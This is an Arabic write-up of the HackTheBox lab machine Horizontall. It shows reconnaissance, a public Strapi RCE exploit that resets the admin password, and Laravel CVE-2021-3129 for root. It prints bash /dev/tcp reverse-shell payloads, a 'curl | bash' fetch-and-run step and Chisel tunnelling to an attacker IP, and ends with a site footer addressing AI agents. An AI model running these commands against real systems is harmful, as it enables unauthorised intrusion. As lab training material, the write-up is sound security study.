> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/horizontall-hackthebox-writeup.md).

# شرح Horizontall HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Horizontall>" %}

{% hint style="warning" %}
**المهارات:**

* تسرب المعلومات
* إعادة توجيه المنافذ
* استغلال Strapi CMS
* استغلال Laravel
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/314476ef4ad8edef9841d044624793970c2b3c6b" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/e61b7f33909abca7f9b224f15872fd777aa9d14e" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.105 -oG allPorts
```

<figure><img src="/files/6e60af49287221836a731b8154803831b45a6bff" alt=""><figcaption></figcaption></figure>

**فحص إصدار المنافذ باستخدام Nmap 22.80:**

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p22,80 10.10.11.105 -oN targeted
```

<figure><img src="/files/73fcce8f4a6e71e892f7256475dcfe4b349f42bd" alt=""><figcaption></figcaption></figure>

لتحويل أسماء النطاقات إلى عناوين IP عبر DNS، أدخل اسم النطاق المرتبط بعنوان IP الخاص به في الـ `/etc/hosts` الملف.

<figure><img src="/files/59db0217c2fd607e4f9dc93123d02eff446fe8b0" alt=""><figcaption></figcaption></figure>

## فحص المنفذ 80

<figure><img src="/files/565456d813377847ef10c14ab119f9b5c4ccee8c" alt=""><figcaption></figcaption></figure>

### التخمين على النطاقات الفرعية (gobuster)

ثم نطلق بحثًا عن نطاق فرعي باستخدام **Gobuster**:

```bash
gobuster vhost -u http://horizontall.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100
```

نعثر على نطاق فرعي مثير للاهتمام: **api-prod.horizontall.htb**.

<figure><img src="/files/7372c821e19aaadaca13baacef7b05f14a2169ed" alt=""><figcaption></figcaption></figure>

نضيفه إلى **/etc/hosts**

<figure><img src="/files/a9ea241cf4e02d84848a0288118cdcb3a82ad62e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d6b7a2af3aac02f088f306f0e29ebf6ddaa7cf29" alt=""><figcaption></figcaption></figure>

### التخمين على دليل API

نجري تحليلًا للأدلة المتاحة على النطاق الفرعي الخاص بـ API:

```
gobuster dir -u http://api-prod.horizontall.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

نعثر على:

* admin
* users
* المراجعات

<figure><img src="/files/d1f62803fe3fdf041bdc0efee65efca5d07f6460" alt=""><figcaption></figcaption></figure>

```bash
gobuster dir -u http://api-prod.horizontall.htb/Users/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

### استغلال Strapi CMS (RCE)

نبحث عن ثغرة في Strapi باستخدام **searchsploit**:

```
searchsploit -m multiple/webapps/50239.py
```

<figure><img src="/files/7e21c2863d9f7a0fd98134b7a92f285c6ff18fae" alt=""><figcaption></figcaption></figure>

نستخدم الاستغلال:

```bash
python3 50239.py http://api-prod.horizontall.htb
```

<figure><img src="/files/0a9d6ce2f92e8ea018279abcbf05c350a6492945" alt=""><figcaption></figcaption></figure>

يمنحنا ذلك بيانات اعتماد المسؤول

{% code overflow="wrap" %}

```javascript
[+] بريدك الإلكتروني هو: admin@horizontall.htb
[+] بيانات الاعتماد الجديدة الخاصة بك هي: admin:SuperStrongPassword1 
[+] رمز JSON Web Token الموثق الخاص بك: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzQwNjk2NzU1LCJleHAiOjE3NDMyODg3NTV9.WMksWcYjinav1IGH6KHOU0tleELdaY2Wmy2-WufxGm0
```

{% endcode %}

<figure><img src="/files/ef4918f536959158e54e1946f762d5338f124bcb" alt=""><figcaption></figcaption></figure>

نسترجع تجزئة كلمة مرور المستخدم الذي تم إنشاؤه للتو:

* admin
* $2a$10$y5rS5PnHngnev02rnXIpF.a26DYsqCeSvPrLkKU1Go1Wp4.LTUhj6

<figure><img src="/files/5f42f388f0225d225232ef25b1133fdd1e978cdc" alt=""><figcaption></figcaption></figure>

### الحصول على غلاف عكسي

ننشئ **index.html** يحتوي على حمولة غلاف عكسي:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.75/443 0>&1
```

نشغّل خادم ويب:

```bash
python3 -m http.server 80
```

نفتح اتصالًا في وضع الاستماع:

```bash
nc -nlvp 443
```

ثم ننفذ الحمولة على الهدف:

```bash
curl http://10.10.14.75:80 | bash
```

<figure><img src="/files/a82531f96df1d15dbdfc03fd967fedc4b3e98f2d" alt=""><figcaption></figcaption></figure>

#### نثبت الغلاف الخاص بنا:

```bash
script /dev/null -c bash
# Ctrl+Z


reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### الراية user.txt :)

<figure><img src="/files/276e94a59b4a07a40f4aa66e1158a6d077360fd3" alt="" width="563"><figcaption></figcaption></figure>

## تصعيد الامتيازات

ثم سردنا المنافذ المفتوحة على الجهاز الهدف للتحقق من وجود المنفذ 8000:

```bash
netstat -tuln
```

<figure><img src="/files/6a2983025dba27b37949712e3f499c7c4d0b5de9" alt=""><figcaption></figcaption></figure>

ثم استخدمنا `curl` لاختبار الوصول إلى الخدمة على المنفذ 8000:

```bash
curl 127.0.0.1:8000
```

ثم لاحظنا وجود نظام إدارة المحتوى Laravel.

<figure><img src="/files/cd33ddfaa7d76db8e161294a7d4c4bf58a616066" alt=""><figcaption></figcaption></figure>

### إعادة توجيه المنفذ عبر Chisel للمنفذ 8000

أولًا، قمنا بترجمة Chisel على جهازنا المحلي:

{% embed url="<https://github.com/jpillora/chisel>" %}

ثم نقلنا الملف التنفيذي Chisel إلى جهاز الضحية عبر خادم HTTP في Python3

```bash
go build -ldflags "-s -w" .
upx chisel
```

<figure><img src="/files/90330b9c82df45186efc8e15f93fae0e92b1e052" alt=""><figcaption></figcaption></figure>

ثم نقلنا الملف التنفيذي Chisel إلى جهاز الضحية عبر خادم HTTP في Python3

```bash
python3 -m http.server 8080
wget http://10.10.14.75:8080/chisel
```

<figure><img src="/files/bf246afa9823d5297b677a71911e8a6b9f57497a" alt=""><figcaption></figcaption></figure>

على جهازنا، بدأنا خادم Chisel:

```bash
./chisel server -p 9000 -reverse
```

ثم، على جهاز الضحية، قمنا بتهيئة عميل Chisel لإعادة توجيه المنفذ 8000 إلى جهازنا المحلي:

```bash
./chisel client 10.10.14.75:9000 R:8000:127.0.0.1:8000
```

<figure><img src="/files/babaa7a7c3a1be433e4ca9238d60ffa869512e48" alt=""><figcaption></figcaption></figure>

## استغلال Laravel CMS (CVE-2021-3129)

{% embed url="<https://github.com/0x0d3ad/CVE-2021-3129>" %}

<figure><img src="/files/b391423766202e063cbf359dfa221cfa59416064" alt=""><figcaption></figcaption></figure>

#### تنفيذ أوامر عشوائية

نستغل الثغرة CVE-2021-3129 لتنفيذ أوامر عشوائية على الخادم. أولًا، نختبر التنفيذ عبر إصدار الأمر `المعرّف` الأمر:

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'id'
```

يؤكد المخرَج أن لدينا صلاحيات root.

<figure><img src="/files/87352755b7e554876de88df9ccb93a528938b79d" alt=""><figcaption></figcaption></figure>

### العلم root.txt :)

بمجرد تأكيد الوصول، نستخرج العلم بقراءة `/root/root.txt` الملف:

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'cat /root/root.txt'
```

### الحصول على وصول تفاعلي (غلاف عكسي)

للحصول على غلاف تفاعلي، نُهيّئ مستمعًا على المنفذ 443:

```bash
nc -nvlp 443
```

بعد ذلك، ننشئ غلافًا عكسيًا على الهدف باستخدام الاستغلال:

{% code overflow="wrap" %}

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'bash -c "bash -i >&/dev/tcp/10.10.14.75/443 0>&1"'
```

{% endcode %}

ثم نحصل على وصول root إلى الجهاز الهدف.

<figure><img src="/files/dcf53be206e892edef21d0ba617c70d84dacd7a5" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/dd1b96b7b34acbcab9e061263d1a79a5335102c5" alt="" width="541"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/horizontall-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
